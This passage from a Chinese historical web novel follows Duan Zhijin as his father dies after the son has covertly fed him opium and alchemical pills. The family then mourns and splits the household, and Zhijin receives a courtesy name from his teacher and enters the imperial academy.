五六天的功夫,果然如大夫所说,段成平受伤的部位已经差不多好了,镇痛用的阿芙蓉也应该停下。 可怎么停呢?段成平抽阿芙蓉是没有节制的,早已经染上了烟瘾,一日不抽就会抓心挠肝地痒,幸好他有一个孝顺儿子,这样昂贵的东西也紧供着他抽。 阿芙蓉配上道观的丹药,很快拖垮了一个人的身子,到九月下旬朝廷调任的文书下来时,段成平原本还有些英俊的脸皮都有些松,两个眼球金鱼泡一样鼓起来,只是因为阿芙蓉在这里不常见,大家都以为是蝎毒将一个好生生的人折磨成这样。 不过问题也不大,还是可以上任山东的。 段成平离家时家里人都站在门口送,王虞和施姨娘站在门口远远地看,周姨娘也躲在后边不愿意凑上前。 陈姨娘抱着段成平痛哭,求他安顿好之后将自己也接过去,又说段之纬如何如何。 段成平听着答应下来,瞳子不受控制地震颤,注意力难以集中。 最后该说的说完了,段之缙上前给父亲塞了一包阿芙蓉和一小瓶“金丹”,好一副孝子的模样,假模假样地劝道: “父亲,您蝎毒已经好的差不多了,阿芙蓉该断还是要断。” 段成平的眼睛病态地漂移,枯枝一样的手接过药包紧紧捏住,模模糊糊说了一些话就启程上路,几个家仆紧随着他。 没了段成平,王虞就是这个家中唯一的主子,日子果然舒心得多,段之缙每日跟着秦先生上课,准备院试的内容,只不过他自己心里最清楚,明年八月可考不了试了。 如果段之缙没有估计错,十一月左右段成平的死讯就会从山东传回京城,自己就可以收拾好东西守孝了。 只是天理循环,报应不爽,段成平的死讯是十月中旬来的,当时段之缙还在上课,匆匆送走了先生便赶来正堂,只见吏部侍郎正隔着屏风安慰流泪的王虞,他身后跟着的差役们将抬着的棺材轻轻放下,里边装的是段成平的尸首。 原本跟在段成平身边的奴才倚着棺材哭天抢地,比死了亲爹还难受。 端王身边的邹文也在,他拽着段之缙去一边说小话,怜悯地看着他。 “你……你父亲死的不是时候,眼见着就要入王府了,偏出了这样的事情,三年父孝,外边都得天翻地覆了。” 段之缙低头抹不存在的眼泪,手指头往眼珠里碰一碰,酸胀的感觉一下子涌上来,泪水脱眶而出:“含章哥,我爹是怎么死的?” 按理说不应该啊,他是把阿芙蓉用嘴咬着吃了吗?如何这么快就死了。 且用阿芙蓉的死状绝不好看,朝廷见他那副模样不怪罪都是开恩,自己早已做好回江南避风头的准备,怎么今天来的官员还轻声慢语地慰问。 邹文不忍心说,但为人子想要知道父亲的死因天经地义,“这个事情就别跟你的姊妹们说了,你父亲……死的不安生。” “折子上说,段大人进了山东的地界后水土不服,什么也吃不下去,就算是吃了也会往外吐,人瘦得厉害。过桥的时候似乎是不舒服,从马车上下来醒了醒神,结果身上没力气一头栽到了河里。那几天接连大雨河水暴涨,一眨眼就没了人影,等着再找到时人已经没气了,肚子涨得像扣了一个锅。后来你们的家奴就去了武州府衙报案,武州府台上了折子。” 段之缙眼睛酸疼,泪水止不住,话也说不出来,在外人看来就是伤心到了极点。 邹文也觉得难受,没想到段大人还有这样的志气,水土不服就停一停何必赶路呢?结果搭进去了一条命。 看来虽是私德有亏,但对朝廷还是负责的。 他拍拍段之缙的肩膀:“你放心好了,你父亲死在上任的路上,朝廷不会薄待他的,已经决定追赠他为正五品郎中。又因为你要守父孝,王府是不能去了,王爷替你求了一个荫生的资格,守完孝不必再考院试,直接到国子监中读书。日后你想做官还是接着考科举都比和外边那些人争强不少。” 这真是意外之喜,国子监荫生,还是难荫,日后做官都不用苦熬。 邹文接着道:“荫生的资格是你父亲亡故给你换来的,你在山东的功劳朝廷还没有封赏。按理说朝廷应该给你母亲上正五品宜人的诰命,也是王爷跟圣上求了恩典,给你母亲封三品诰命,也算是圆了你用功绩换诰命的愿望。” 端王,端王,你怎么对我这般岌岌无名的小人如此之好? 段之缙用怀里的帕子拭去眼泪,“王爷的深恩草民不知做什么能报答。” 邹文一笑:“已经有人替你报答了。你知道秦先生的本事吗?” 秦先生? “我只知他曾在刑部做过官,升官极快。” “我也是后来听王爷说的,当年皇上驾临翰林院,问刑名之事,只有你先生对答如流,没熬够年限就拔擢到了刑部任主事,到徐九宜一案案发前,圣上已经准备升他做从二品郎中了,说是一飞冲天也不为过,这全都因为他自己有本事。” 徐九宜事出的时候,秦先生才是从五品员外郎,连升六级,就算是插上翅膀飞都没有这么快的,学历史的段之缙直接瞠目结舌,说不出话来。 邹文:“我也像你这个表情,他能升这么快是因其改进了审讯的方式,不必再动大刑就能审案,千百年来头一遭,圣上如何能不重用?” 古代审讯不叫审讯,一般都是刑讯,进了衙门不先问话,得先上夹棍。 “秦先生走后,他那套东西没人弄得明白。我们王爷问了刑部的老员,东拼西凑了半天也没弄明白,之前王爷想叫你去王府也是为了秦先生,结果前两天秦先生找我,叫我把一个册子给王爷,就是审讯之法。” 段之缙攥紧了拳头,他该知道的,自己算是什么东西,怎么能叫端王另眼相看,秦先生可是纪禅早就盯好了的人。 “先生说了什么?” “先生求王爷尊重你的意见,不要再叫你去王府,王爷答应了,本来是想赏赐给秦先生些东西,可秦先生拒绝了。我们就想着赏给你是一样的。” 他说着,又从袖子里抽出了五千两银票,“这是王爷赐给你们置办丧事的,以后有什么事情就来找我,你们家的事情都归我管。”邹文把自家的地址告诉段之缙,叫他千万不要不好意思。 “等着出殡那一天,我还来呢,和礼部的官员一起送封赏的诏书。” 说完这句话,邹文也不用人送,和吏部侍郎一块走了,段之缙静默地站在原地,心里翻腾着对先生的感激,然后被一声尖锐的嚎哭打断。 此时朝廷来的人已经走干净了,姨娘们也都从后院出来,陈姨娘和她的儿女趴在棺材上嚎啕大哭,周姨娘被女儿扶着坐在太师椅上,为一片灰暗的前途流泪。 施姨娘呆愣地站着,就如同王虞一般。 王虞从刚才听吏部官员慰问的时候,精神便集中不起来,她脑子里全是两个字——“死了”。 怎么就死了呢? 竟然这么轻易就死了…… 不,其实不对劲的地方早就有了。 眼珠一下下转到段之缙身上,她看着眼前的儿子,把他叫进了小间,叫两个嬷嬷远远地把守着。 “我赐给你的丫头翠佩同我说,你身边的王章总是出 去买药,不知道干什么用,还有送行那日,我似乎听到了什么阿芙蓉。” 段之缙知道翠佩是个小奸细,但是说给母亲也不是说给别人,也就任她去了,不过“金丹”一事翠佩是不知道的。现在阿芙蓉暴露了也不心慌,跪在原地点点头。 现在还有什么不明白的,王虞的眼泪落到帕子上,哽咽道:“我还能说什么,怎么会有抽阿芙蓉抽死的人啊!对于母亲来说是好事,只是你们俩的身份,万一有阴司地狱报应……” 子杀父,悖逆伦常,真的会平安无事吗? 段之缙起身为王虞倒水,安慰道:“父亲有此一难,不就是报应不爽吗?” 王虞的哭声梗住,段之缙接着道:“当初他想要饿死母亲,最后自己水米不进,又想溺死姨娘,最后自己喝水喝得腹胀如鼓,这不就是报应吗?” “母亲不必担忧,世上之事大抵如此,横贪暴敛的人生出来败家子,造什么孽得什么果,我父亲养得我这样的儿子,大概也是他该得这样的果。” 王虞用帕子捂住下半张脸,她不知道该做什么表情,事情已经这样也无法挽回,只能殷殷叮嘱:“可怜你这样孝顺的孩子,把自己所有的钱都用来买了阿芙蓉,谁知道你的父亲不争气竟然把这玩意儿当成灵丹妙药日日用,这也怪不得你。我在南方的时候,也没说过还有抽阿芙蓉抽死的。” 段之缙却摇摇头:“母亲,老爷他是溺死的,不是抽阿芙蓉死的。” 王虞打了个激灵,看着段之缙的眼睛喃喃道:“对……是溺死的……你下去吧,我自己一个人静一静。” 段之缙听话出门,叫仆人看好了姊妹和两位庶母,不要在太太不在的时候做出祸,又把肖伯带去了老爷的书房问话。 这屋子已经清理干净了,一共放了五只蝎子都已经被抓到碾死,段之缙坐在老爷平时坐的地方,蹙着眉看站着的肖伯,终于想明白了事情,笑着问道: “你是家里的老人了,很受老爷的重视,现在老爷没了,母亲并几个姨娘父死从子,我就是家里最大的主子了,你说是不是?” 肖伯赶紧奉承道:“这是自然,以后任二爷吩咐什么,咱们做奴才的都不打一个磕巴。” “我想,老爷的死因应该不像是折子上说的吧。” 肖伯呲牙咧嘴,然后讪笑着回:“奴才虽然不顶什么大事儿,可也知道要是老爷死因不体面,我们这些奴才也没什么好结果。” 段之缙托着腮示意他继续说。 “老爷一路上都用着‘药’,吃不下饭脾气也不好,当时走在桥上,老爷是突然发狂从车上跳下来的,然后手舞足蹈扎到了河里,当时还下着雨,四周也没个赶路的人,奴才这才编了瞎话,也是为了老爷的名声。” 原来如此…… 大概是阿芙蓉叫他陷入了幻觉从马车上跳下,神经系统也因为大量的重金属而异常亢奋,一步步把他推入了河里。 也怪不得肖伯要说谎,要是如实说明段成平的死法,朝廷还慰问个屁,不过他也怪机灵,踩着死尸给段家争来了门面,好歹洗刷了一下段成平臭不可闻的名声,也叫一家人跟着受恩惠。 想了想,段之缙问道:“跟着老爷去的那些家仆都可靠吗?不会露出来吧。” “二爷放心好了,跟着老爷去的都是用惯了的老人,官府盖了章入了奴籍的,绝不会往外说,要是出了差错,奴才的头给您当个球踢。” 段之缙看着指天画地发誓的奴才轻笑:“好了,我何必要你的头,你们都是忠心的人,我养你们一辈子。可要是出了事儿叛主,你们也得记着,先编了瞎话骗朝廷的就是你们。” 所有的事情嘱咐完,段之缙疲惫地扑在桌子上,静静思考着往后的路。 丧事办完之后是回淮宁还是留在京城呢? 最关键的是,去了国子监之后是直接参加吏部考试授官还是参加科举成为进士授官呢? 第45章 045守孝,回京,取字 回祖籍还是留京,这个事情是王虞定下的,她离开父母已经近二十年,只有信纸上的只言片语能带来些安慰,如今丈夫去世,她也有了诰命的身份,终于可以回到阔别已久的家乡,再拜爹娘。 再者,段成平祖籍也是安平县,落叶归根,他也应该葬在段家的祖坟。 既然这样,出殡下葬就要等到扶棺回安平了,邹文便把段家的打算告诉吏部的官员,礼部挑了一个好日子来段家宣旨,正式赐予王虞三品诰命夫人的身份,并叫段之缙除服之后来京读书,莫要耽搁了学业。 在京里的房子还是要留下,等段之缙回京读书时居住,其他的东西该变卖的全都变卖,只留下几个老仆人守着房子,段家众人便在十一月初收拾好东西,准备上路回南方。 车马拉着棺材,又请了苗镖头护镖,秦先生和邹文皆来送行。 这一次秦先生不能再跟段之缙回南方了。 迎风站着,段之缙的眼睛直淌泪,秦先生叹一口气用袖子擦去了学生的泪水,安慰道:“别哭了,这天下无不散的宴席,夫妻都终有一别,何况是师生呢?何况你先生有了正经的活计,你也该高兴才是。” 段之缙用棉衣外边罩着的孝衣擦脸,眼角和两个腮都被擦得红彤彤一片,像是戏台上的丑角。 邹文叹一口气:“二十七个月之后不就回来了吗?有什么可伤心的。以后你们秦先生进了王府,都是我来伺候他,赶紧放心吧。” 自从王虞决定回江南后,秦先生的去处便成了一个问题,秦家根基全在京城,就是这顺天府人,秦先生也不可能跟着段之缙在江南呆两年多。 段之缙试探性地提起这个问题时,秦先生也没什么别的打算,左右这些年也攒了不少钱,就算是没有钱回去吃爹娘兄长的饭也无甚大不了的。段之缙却劝他以皇孙先生的名义入端王府做幕僚。 秦先生笑话段之缙太看得起老师,段之缙却明白秦先生是不想和权贵交往过甚。 但自古以来就是风险有多高回报有多大,更何况端王能不声不响地把九门提督忽悠到自己的阵营,还能在事情不明的时候宫变上台,绝非等闲之辈。 明明已经开了天眼能够预料到这支股票只涨不跌,为什么不买?更何况秦先生日后也会做新皇的心腹,早一步晚一步无所谓。 正好明年五月份就是端王的二子六岁生辰,过了生辰就得请先生正式授课,端王如此喜欢秦先生,一定愿意叫他任自己儿子的老师,到那时逆书案也结束了,据自己所知不会再有什么风险。 于是段之缙劝道:“含章兄应当跟先生提过,端王想着先生呢,先生为何要妄自菲薄?更何况先生了解我,我何尝不了解先生?您是为天下万民做官的,要不然也不会去想什么审讯之法,也不会跟当今顶着干。端王我虽然不甚了解,但我想他愿意拼凑当年先生的法子,应当不光是为了表功,先生也能通过端王再为朝廷出一出力。” 秦先生讥笑道:“朝廷如此待我,我又是何苦呢?” “学生所言朝廷,却不是当今的朝廷,而是万民的朝廷。即便是当今的朝廷,有先生这样的人也能叫万民少受些苦。” 秦行缄默,最后叹一口气说再考虑一番,到今日终于定下了,等着明年端王儿子延请先生的时候,若端王还有此打算就去王府谋一份差事。 此时邹文以为段之缙是舍不得自己的老师成了别人的先生才做出一副哭哭啼啼的小儿态,哄他放心。 段之缙瞥一眼邹文,想道:“我有什么好不放心的,该不放心的是你,很快逆书一案案发,得亏你是极得端王喜欢的笔帖式,要不然刑部大牢的刑具能把你的骨头打成碎渣子。” 再看看这个陪着自己忙前忙后的倒霉鬼,问道:“含章兄,若是去你们王府做幕僚,每日要干什么?” 邹文想想:“王爷有事情的话会叫他们来商讨,没事儿就住在外院,只要不给我们王爷惹麻烦就成。秦先生就不得闲了,白日得给我们二公子上课。” “我还以为要替你们王爷整理文书呢。” 邹文嘲笑一声:“朝廷的事情只能是王爷和幕僚们说了,幕僚才能知道,因而是不会叫他们碰文书的。整理文书、替王爷执笔这样的活都要我们笔帖式来干。” 段之缙哦一声,笑道:“那你们可得打起精神,别把不该放的东西放进文书里。要是第二天一早叫王爷带着《七 侠传》去了衙门,真是要仔细你们的屁股。” 邹文哈哈一笑,想一想也有几分道理,得回去和王爷提个醒,不光当晚要查一遍文书,去刑部衙门之前还要再检查一遍方好。 秦先生看他们两人插科打诨完了,最后叮嘱一句:“你心里再不愿意,也得做出一副孝子的模样,守好了三年孝期。再者,虽说这三年不能请先生读书,可仍要自己努力,经史子集一样不能放过,诗词歌赋叫你媳妇教你,等你回了京去国子监读书,第一件事就是考试,看你入内班还是外班,上哪一个堂去,好好准备。” 段之缙应下,和送行的二人挥了挥手,启程上路。 这个年是在路上过的,守着父孝、夫孝大家也没有欢喜的模样,段之缙和两个兄弟还得轮流下来扶棺,因而也不敢加快速度,等着到安平时正月都过了,幸得天气寒冷棺材里头没出气味。 这一家人就住在王家准备的宅子里,因为戴孝不吉利,也没去看望过王家二老,害怕冲了他们。 再者也到时候出殡了,没人愿意再守着棺材度日,找了先生推算日子,最近的一日就是二月十六日。 十六日这一天,阴阳先生选定了吉时,沈白蘋把最后一次祭奠的饭菜装到小瓷罐中抱着,段之缙把铜钱放在棺材下边,又用扫帚扫去了棺材上的浮尘,然后打幡在前,后边抱灵位的抱灵位,拿哭丧棒的拿哭丧棒,一行人浩浩荡荡地前往墓地将段成平下葬。 此后便开始了一直到崇德二十年一月的守孝生活。 守孝的规矩甚大,除了两个十来岁的小孩子被特许吃肉外,其他人一点荤腥不能沾,更不许嬉笑玩闹。 尤其是段之缙,装也要装出来一副孝子的模样,连出门见人也不许,整日在屋子里读书或者和沈白蘋探讨学问,能接收的外界信息就是秦先生来的信和郑崑瑛托王章和琼香两个书童跟他说的消息,蒋先生和李大人时不时给他送些书。 这一世端王顺利得很,也没有因为逆书案被圣上申斥治府不严,叫他先回家生孩子。秦先生在王府混得风生水起,虽然二公子是个不受教的,但幕僚才是他的主业,教书一事多委给另一个先生。 在此期间,郑崑瑛院试得中案首,是名副其实的小三元,进了府学没多久便有训导相中了他,将自己年仅十六岁的小女许配给郑崑瑛。 金榜题名,洞房花烛。 要不说人的好运来了,想挡都挡不住,郑崑瑛入府学才满一年便遇到了三年一次选拔优贡的考试,在段之缙出孝期之前,这人就独自上京参加廷试了。 等到出孝之日,郑崑瑛已经正式成为了国子监的学生,段之缙也应该回京进国子监读书了。 不过在回京之前,还有一个最重要的事情——分家。 若不是孝期之内不能分家,王虞绝不会允许自己眼皮子底下还有陈姨娘并她的儿女在喘气,因而趁着缙儿上京之前一定要分家。 反正出了孝也不用再避讳些什么,王虞叫来了段家的叔伯做见证,自己的嫁妆全归自己所有,段家的财产给两个女孩预留下嫁妆,剩下的东西由亡夫的三个儿子平分,谁也别占便宜。 没了段成平,陈姨娘也没了腰杆,现在人生地不熟的,也不敢再提什么要求,自然是王虞说什么便是什么,和她的儿女分出去单过,就住在段成平与王虞成婚前的房子里,好歹也算遮风避雨的地方。 周姨娘无子,一个女孩今年才不满十四岁,段之绪也才不满十五岁,叫他们分出去单过和逼着人家去死没有差别,王虞和他们无冤无仇,没必要逼着他们上绝路。 再者,守孝期间不能见客,有这两个孩子在身边撒娇卖痴才叫人的日子好过些,王虞也不愿意叫他们分出去,一出孝便叫人请老师,虽然有些晚,但无论是儿子还是闺女都得读书。 分好了家,去官府另立户籍,京里的秦先生也催得不行,一遍遍来信问他什么时候启程,段之缙这才上路,除了沈白蘋和几个家仆,其余人都留在了江南。 最恨趁着风雪赶路,可偏偏除了府试回京那一次,每一次都是和大北风一块上路,现在刚刚入了二月,越往北走越觉得寒气逼人,三月刚暖一点又遇上倒春寒,大家都缩在马车上不愿意下来。 悄无声息地入了京,先在原来的房子里休整了几日,段之缙才缓过劲,写了拜帖给秦家的门房。 晚上回家时秦行接过了门房呈递的拜帖,真是惊喜万分,本来以为还得过些日子段之缙才能入京,没想到现在就来了,可惜不能立刻相见,秦先生每日都要去端王府“授书”,想见段之缙也要提前和端王请假才能安排时间。 于是秦行吩咐下人明日去段家送信,就说三日后午时在广和居山水一程阁相见。 转眼三日后,段之缙早就来了山水一程阁等候,先生也十分准时,午时才到就推门而入,段之缙先撩起袍子跪下,恭恭敬敬磕了一个头。 “学生给先生请安。” 秦先生笑着拽他起来,段之缙伸头一看,后边跟着邹文。 “段兄弟,许久不见,可还好吗?” 邹文笑眯眯地跟段之缙打招呼,嘴巴上两撇小胡子叫他显得老气横秋,真看不出两年前还有些跳脱的样子。 秦先生拉着段之缙左看右看,心疼道:“都说江南的水土养人,怎么瞧着弱了些?到底是在京里长大的,吃不惯南方的米。” 他在家里做了两年多的宅男,如何能不显得瘦弱。 段之缙先安慰老师,然后看着邹文假嗔道:“含章兄,亏得我叫你一声哥,你两年多给我写了几封信?” 邹文咳一声道:“我们虽然人不在一处,但我心里记着你啊,你想着我,我想着你,这不就是在一块吗?还写什么信。” 段之缙鸡皮疙瘩起一身,差点叫他恶心死,拉着秦先生坐下,三个人竟一时无话, 也许是有太多的话,一时也不知从何说起。 还是秦行先开了口:“我虽早已不是你的老师,可今日见了面,还得先问问你的学问,看你在家有没有认真读书,也是为了叫邹文估计估计你能进内班还是外班。” “含章兄也是国子监出身?” 邹文唱戏一般对二人行一礼,拖着长长的腔子答道:“小生不才,正是国子监贡生出身。”然后袖子一甩缠到手上,又笑着说:“不过我可不是科举出身,我是过吏部考试直接授官的。” 国子监的贡生类别极多,只说是贡生也不知是拔贡、优贡、还是例贡,不过这也不方便问了。 若是拔贡、优贡还好,这是地方的饱学之士被推举到国子监读书,通过吏部考试任官也被视为正途出身,例贡则是捐纳取得贡生,因为非正途出身而多遭耻笑。 秦先生笑说:“你含章兄是辽河省三年一选的优贡,在国子监三年,每次考试都为一等,最后一次吏部考试也为一等,本来是要放到州县做正九品主簿的,叫端王劫走去王府做笔帖式了。” 邹文给两人倒上茶水,“你入学那一天会先考试,一篇四书文,一篇五经文,一首诗,看你是入内班还是外班。” “内班能领朝廷的补贴,住在监内上课,除了读书习文样样都不用管了,但是规矩极严,严到何时吃饭睡觉都有定时,总共一百五十名学生。外班除了考试外不必到监,住在监外随你自由,但是不能领朝廷的补贴。” 段之缙问:“那含章兄觉得内班好还是外班好呢?” “我家境贫寒,要是入不了内班可没有银钱 在京城读书,因而只能入内班领补贴。你家境殷实,但还是入内班为好。一则国子监授业的先生,从博士到学录都是有真才实学的人,且国子监不仅授书,还能拿到第一手的消息,若是朝廷考试的章程要变,国子监第一个知道。” “那入内班岂不是百利无一害?” 邹文摇摇头:“有好处自然有坏处。国子监里什么人都有,拔贡生最受重视也最叫博士们喜爱,但是里边来头最大的却是荫生,一二品大员的儿子也在里边上课。你想想,他们都能入内班了,自然是勤奋刻苦之人,又耳濡目染学得一套官场的路子,家里势力又大,我们这些人都要避着他们。” 段之缙问道:“可是会仗势欺人?” “倒也不至于,我只是提醒你,你虽然也是荫生,却是难荫,家里没个父兄,不要和那些荫生闹矛盾就好,安安稳稳过三年什么都好说。不过也不必三年全赔上,你若是仍想科举,利用自己荫生的身份过乡试然后辞去国子监学生的身份接着科举也好。” 段之缙被恩赐了监生的身份,实际上就是被赏了一个秀才功名,不必再过院试就能考乡试,而且顺天府乡试中,国子监学生有特殊的南、北皿字排号,分给他们的中举名额也多,是一条过乡试的捷径。 只是吏部考试授官,好职位都叫恩荫生分干净了,一品大员的儿子上来就授从五品六部员外郎,然后按照官职递减,像段之缙这种难荫授官就只能从地方微末小官排起。 若是科举还有几分授京官的可能性。 “好了,讲的也差不多了,先生考一考你的学问。”秦先生先问四书五经的内容,又和段之缙谈了谈历代的史书,都很不错,最后神色间带着些刁难:“‘石韫玉而山晖’,做一首五言八韵诗如何?” “石韫玉而山晖”,出自陆机的《文赋》,意思是石头中蕴藏着美玉,使得山峦生辉。 这题出的够抠的,若不是段之缙在家中日夜读书,连题目出自何方都不知道。 他思考片刻,以手为笔以茶为墨,在桌子上写道:赋得石韫玉而山晖得“年”字五言八韵。 首联破题暗喻贤才难举,承题用典说明贤才的重要性,然后中二联铺陈工对中显气节,最后仍然是老一套,起承转合颂圣诗,一句“圣代求材亟,菁莪雅化宣”归美当朝,引《诗经菁菁者莪》典,赞盛世育才,又能呼应科举考试为抡才大典的主旨。 秦先生满意点头:“士别三日当刮目相看,不仅能解得题意,试帖诗也写得有模有样。含章觉得如何?” “去率性堂还是差一节,不过进内班修道、诚心二堂却是不成问题。” 这个结果已经很好,秦先生和段之缙本人都很满意。 现在说完了段之缙,话题又转回这两人身上,段之缙问秦先生:“先生在端王府还好吗?” 邹文佯恼:“你这是信不过我还是信不过你先生的本事?” 呵呵,段之缙难道要说信不过端王吗? 秦先生安慰道:“做幕僚自然是舒心的,我这点浅薄的见解能帮着王爷处理刑部的事情,实在是意料之外。” 段之缙这才放下心,当初自己那一顿忽悠没把先生忽悠到歪路上。 说完了正事也该吃饭,段之缙两年多不曾饮酒,喝了一小杯便上头,邹文先取笑一阵,才猛然想起他都及冠了。 但取字没有?邹文拽着段之缙的胳膊问道:“你在江南可有长辈为你取字?” 段之缙虽饮酒上头,神智还清楚得很,告诉二人自己还没有取字。 邹文拊掌:“造化!叫先生跟王爷为你求一个可好?王爷定然答应。” 段之缙却跪在先生身前:“虽然王爷取字是莫大的荣誉,可我视先生如父,先生待我如子,若是先生愿意,学生想求先生为我取字。” 这么长时间,从一开始半点文字不通,到现在将入国子监学习,若没有先生,自己定然熬不过来,即便是真的父亲也鲜有如此负责的。 秦先生眼眶也红了,并未推辞,万分仔细地推敲着学生的名字,半晌才开口道:“缙为赤色帛,正是官服颜色……‘允升’二字如何?《周易升卦》云‘允升,大吉,上合志也’,意为‘稳步晋升,终获吉祥’,为师愿你无论是科举还是为官,都是‘允升’。” 段之缙再拜,再这一方世界里,他终于算是“成人”了。 第46章 046入学国子监 国子监每月十五日考试,也称为大课,十六日学生放假一天,段之缙就是在十六日入学的,他的两个书童和马车都在国子监外等候。 入学考试在博士厅举行,偌大一个堂内,只有祭酒裴鸿大人在,出四书文一道、经解一道,又让作一首五言八韵试帖诗,裴鸿看着段之缙给出的文章还算满意:“不错,文理皆通,书读得不错。按理说应当从正义、崇志、广业三堂开始坐监,不过你四书五经已通,便入诚心堂内班如何?” 段之缙拱手作揖:“多谢大人。” 裴鸿是当代有名的大儒,科举状元出身,写得一手雄文,对性理也有高深见解,这才有资格到国学中担任祭酒,虽然做官和做学问到底是两码事,但起码明面上的规矩没错,此时叫监丞带着段之缙去钱粮处领东西,还特意吩咐监丞把规矩给段之缙讲清。 监丞称是,招手唤段之缙出去。 “我名讳为李文翰,是国子监监丞,你们这些学生的衣食住行和奖惩都由我来负责。国子监学生正式入学都是二月份,那时候会将学规一次讲清,不过你是中途插进来的,许多规矩不知道,一定要好好听我讲。” 监丞身材瘦小,说话也细声细气,带着些南北混杂的腔调,应当是南人,说起话来你啊我的,一点架子都没有,还总回头看段之缙是否跟上。 “你是内班学生,不仅能每月领朝廷补贴的膏火费,衣物、被褥这些也由朝廷置办,除了第一次入学是在二月领衣物外,每年都是六月领夏衣,十一月领冬装,里边穿什么不拘,外边要传朝廷发的青色襕衫,戴方巾,若是服装不统一会被我申斥记过一次。” 走了没多久,监丞就带着段之缙进了钱粮处,跟钱粮官说明情况,领了每月的膏火费和一应物品,李文翰将银子放入段之缙怀中,然后把被褥摞到他的手臂上,帮段之缙提着两件衣服。 段之缙一边多谢大人,一边搂紧了自己的被褥。 李文翰又带着他去号房,也就是段之缙以后几年要住的地方。 路上先后经过了博士厅和六堂,这都是学生们日常上课的场所,学内还有一个孔庙,每逢初一、十五,祭酒大人都要先领着内班诸生祭拜圣人才能在博士厅授课讲学。 一路往院子里走,就是一排排的房舍,每间房舍前都用两根木杆扎着一条麻绳,晾着一排排的衣裳。 “国子监里的规矩,除每年除夕、初一、上元节、二月二龙抬头、清明、端阳、中元、中秋、重阳和圣上万寿放假一天外,只有每月十六日放一天假,你们留在国子监内还是出去逛街都可,当天晚上戌时之前回号房,不得在外留宿,平日里也禁绝外出。” 那就是说如无节庆,一个月也只能放一天假。 段之缙回道:“多谢大人告知,学生知晓了。” 李文翰轻笑:“我的意思是,平日里洗衣吃饭都要自己解决。” 段之缙手里的被褥差点没拿住,他惊疑道:“不是会馔吗?学生以为会有大食堂。” 洗衣服能理解,国子监内除了管理人员就是学生,无半个仆从,只能自己洗衣服,但怎么还得做饭? “前两年的确是会馔,有掌膳师傅做饭,后来圣上说国子监人多过滥,内班只收一百五十人,外班只收一百二十人,吃饭的人少了也就用不着如此,干脆就把伙食、笔墨和夜读灯油一类全折算成膏火费,一月白银二两并米三斗。” “那学生等如何吃饭?” “许你们差家里人或是外边的酒楼来送,也许你们在原来做饭的地方做饭,自便。” 说话间监丞就已经领着段之缙进了号房,也就是他的宿舍。 里边环境简陋但十分干净,四套桌椅板凳都是一尘不染,窗明几净。 不过睡的不是上下铺也没有独立的 床,一个大炕从南贯到北,上边已经铺了三套褥子。 李文翰递给段之缙一把钥匙,“最西边的柜子是你的,一应杂物都可以放在里边,外边的那张空桌子也归你,先听我说完学规,你该收拾就收拾。” 段之缙竖起耳朵听,李文翰道:“那些细枝末节的东西,叫你同寝的同窗讲给你听,我只说要紧事。你是诚心堂的学生,每日辰时之前到堂考勤,于考勤簿上盖红章,上午的课程午时结束,你们可以用一个时辰用饭休息,于未时之前回到学堂开始下午的学习。酉时下课,戌时之前回到号房不得在外逗留,绳愆厅的差役会去每一个号舍点名确认……” 李大人坐在椅子上劈里啪啦说了一大顿,除了晚上可以无限制地熬夜外,进出入管理和生活作息的管理比高中都严格,这哪是坐监啊,简直就是“坐牢”。 不仅如此,号舍的卫生都需要学生自己清扫,差役清点人数是还要检查卫生是否合格。 不过这种堪称高中三年的管理方式,的确能够叫学生们专心读书,其频繁而严格的考试更是大有裨益。 国子监内的定例,每月十五讲经之后博士厅大课,由司业大人监考,大课逢季考则由祭酒大人主持。 下一个月初一日出上一月大课的成绩,会进行四等排名,分为一、二、三等和附三等,一次排入附三等就会被停掉膏火费,三次直接劝退。 初三、十八两日还会考察经文、经解和诗策等,相当于一个月要考四次。 现在段之缙入的诚心堂属于中等的学堂,里边学生的水平为四书五经皆习,文理俱通,因而除了讲授四书五经之外,还要讲授十三经和二十一史。 监丞终于说完离开,段之缙也不是第一次住宿,手脚麻利地收拾自己的床褥,这时,号舍的木门被轻轻敲响:“是小段弟弟来了吗?” 郑崑瑛! 段之缙从炕上跳下来,也管不得雪白的袜子踩得脚底板漆黑,一把拉开了门,惊喜道:“德润兄!我还以为今日放假,你能出去呢!” 郑崑瑛见了他也高兴,紧紧攥住段之缙的手:“我上哪去?才收拾号舍,正准备洗衣服时听同窗说诚心堂来了新的监生,中途插进来的,我一猜就知道是你!” 段之缙嘿嘿一笑,先贺他新婚快乐,又说先生给自己取了字——允升。 两个人兴高采烈地叙话,郑崑瑛便帮着段之缙收拾,最后把段之缙的两身衣服包好拿着,又要带着他上街,把坐监需要的东西都买好。 两个人携手出了国子监,走两步路就是极为热闹的买卖街。 第一站是成衣店,也能定做衣裳,郑崑瑛拉着段之缙进去,老板打量一眼郑崑瑛的青色襕衫,面上立刻牵起来了笑:“老爷这是来做衣裳的?” “正是。”说着,郑崑瑛把段之缙推上前:“给他做两套国子监内穿的夏衣和棉服。”然后把刚发的两套衣裳递给老板,“顺便把这两身衣服的领口处绣上名字。” 段之缙摸不着头脑,凑到德润耳边悄声说:“不是只能穿朝廷发的衣服吗?” 郑崑瑛:“这家店就能做和朝廷一模一样的服制。国子监发的冬衣和夏衣俱是两套,夏天根本不够换洗,冬日寒风刺骨,洗了又干不了,因而要多备两套。绣上名字是为了洗衣后能够区分,这还是与我同号舍的同窗告诉我的。” 老板上来量尺码,比国子监发的通码衣裳更为合身,因为现在不是二月入学的时候,客人不多,十日就能赶制出来,老板打完了算盘:“国子监的老爷都是我们的常客,绣名字是不收钱的,另外夏衣、冬衣各两套,一共是二两银子。” 咦,这不正好?段之缙刚要把自己才得的膏火费给出去,郑崑瑛却已经给了钱,回头一笑:“你忘了?府试那次你替我交了客栈的房钱,这次衣裳钱便由我来付。” “上次客栈还不到二两呢?” “算这么清楚有意思吗?” 确实没意思,段之缙便没什么心理负担的用了他的钱,又是两个快乐的小伙伴。 离开了成衣店,这俩人又跑了书肆买笔墨纸砚,去了琉璃坊买杯碗茶碟,去杂货铺子里买了灯具,段之缙便和郑崑瑛一起把东西抱到马车上,然后乘马车回家。 郑崑瑛自然是不愿意,没准备东西怎么好贸然登门。段之缙倒是不管那些,强推着他进了门,正好是吃晚饭的时间。 小门小户,又都是熟人,连带沈白蘋一共三个人上了一张桌,吃饭喝酒也没什么不好。 饭桌上说起了在国子监吃饭的事情,段之缙的饭自然是家中来送,他又问起郑崑瑛吃饭的法子,郑崑瑛道:“带些干粮蒸一蒸,就着咸菜也是一顿饭。” 他语气如常,并无半分窘迫,因为这就是大多数国子监生的日常。 